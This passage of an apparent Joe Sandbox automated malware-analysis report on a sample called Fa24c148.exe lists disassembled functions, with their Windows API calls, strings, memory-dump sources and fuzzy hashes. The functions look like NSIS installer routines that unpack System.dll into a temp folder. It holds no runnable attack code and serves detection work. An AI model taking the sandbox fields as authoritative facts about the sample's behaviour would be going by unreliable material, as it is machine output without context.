Instruction Fuzzy Hash: 68418A71804249AFDB058FA5DD459BFBBB9FF48310F00812AF951AA1A0C738EA51DFA5

Function 100022EB Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Strings

@Hmu, xrefs: 100023BF

Memory Dump Source

Source File: 00000000.00000002.2032781626.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2032762594.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032798460.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032821608.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Fa24c148.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID: @Hmu
API String ID: 3579998418-887474944
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 0040600B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Fa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
CharNextW.USER32(?,?,?,00000000), ref: 0040607D
CharNextW.USER32(?,"C:\Users\user\Desktop\Fa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

Strings

"C:\Users\user\Desktop\Fa24c148.exe", xrefs: 0040604F
*?|<>/":, xrefs: 0040605D
C:\Users\user\AppData\Local\Temp\, xrefs: 0040600C, 00406011

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Fa24c148.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3770697539
Opcode ID: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction ID: 5f8db4d4ef1aaeb388f58d13ad2a41ec80f6628d4c19804d17f22981d69c56f6
Opcode Fuzzy Hash: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction Fuzzy Hash: 5311C45684121299DB30BB199C40BB7A2E8EF54790F52803FED8A733C1E77C5C9286BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C
C:\Users\user\AppData\Local\Temp\nslCCA0.tmp, xrefs: 00402528
8, xrefs: 0040250C

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nslCCA0.tmp$C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll
API String ID: 1453599865-999268466
Opcode ID: 7ff42c571deb340bf81926ce0c082dd5313d153aba56cb08d0eeabb960131028
Instruction ID: 7a030a9c095cf7661290fe091fec1a729e70b9dbbd1292938289fd6a30d2cb41
Opcode Fuzzy Hash: 7ff42c571deb340bf81926ce0c082dd5313d153aba56cb08d0eeabb960131028
Instruction Fuzzy Hash: 18018071A04204FFD700AFA09E89EAF7378AB10319F20453BB202B61D1D6B85D419A2D

Function 00404023 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404040
GetSysColor.USER32(00000000), ref: 0040405C
SetTextColor.GDI32(?,00000000), ref: 00404068
SetBkMode.GDI32(?,?), ref: 00404074
GetSysColor.USER32(?), ref: 00404087
SetBkColor.GDI32(?,?), ref: 00404097
DeleteObject.GDI32(?), ref: 004040B1
CreateBrushIndirect.GDI32(?), ref: 004040BB

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 7833da122bd5b54dba07469e608d39c2309fd7833842469cb0c606e819627665
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: 5A2184B19047449BCB319F68DD08B5B7BF8AF40714F048A29EA95F22E0C738E904CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405A66: ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,00000004,00000000,00000000,00000000), ref: 00405A7A

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction ID: a762cbfc482fee2f38ad097521ed942063d68533c50e5d13a1d21fd8ed512a93
Opcode Fuzzy Hash: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction Fuzzy Hash: 2E51E671E04209ABDF24DF94DE88AAEB779FF14304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 09ec96b44468b6559568886edfe2b22b6abacdf6cac7a22eaf78803dc8c7711a
Instruction ID: 39eb73ea935b4093d5e0ae2fe9f4df3abe493bf7cf7ddc07517dddc298ecdb3a
Opcode Fuzzy Hash: 09ec96b44468b6559568886edfe2b22b6abacdf6cac7a22eaf78803dc8c7711a
Instruction Fuzzy Hash: 0531C272C00118BBDF11AFA5CE49DAF7E79EF08368F24423AF510762D0C6795E418BA9

Function 004048EB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404906
GetMessagePos.USER32 ref: 0040490E
ScreenToClient.USER32(?,?), ref: 00404928
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040493A
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404960

Strings

f, xrefs: 0040493C

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 5094cac0cfd66b0e8cfd3256396541bb223221662a15d93018ee399e52c78ab9
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: B9014071D00219BADB00DBA4DD45FFFBBB8AB95B21F10016ABB10B71C0C7B4A5018B95

Function 00402C7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
MulDiv.KERNEL32(000F568E,00000064,000F5692), ref: 00402CC8
wsprintfW.USER32 ref: 00402CD8
SetWindowTextW.USER32(?,?), ref: 00402CE8
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CFA

Strings

verifying installer: %d%%, xrefs: 00402CD2

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction ID: 00b8461607dcb0b3980451466b6828af2013657049940e2aaaac4a967361d4db
Opcode Fuzzy Hash: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction Fuzzy Hash: F5012170604208BBEF249F60DD49BAE3B69FB00305F008039FA06A52D1DBB99954DB59

Function 00401D41 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD58), ref: 00401DBC

Strings

Tahoma, xrefs: 00401DA2

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
